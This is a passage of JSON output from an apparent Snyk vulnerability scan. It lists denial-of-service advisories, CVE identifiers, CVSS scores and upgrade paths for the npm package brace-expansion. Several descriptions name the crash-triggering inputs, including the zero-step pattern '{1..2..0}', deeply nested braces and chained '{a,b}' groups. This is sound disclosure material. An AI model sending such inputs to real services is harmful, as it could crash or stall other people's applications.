"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
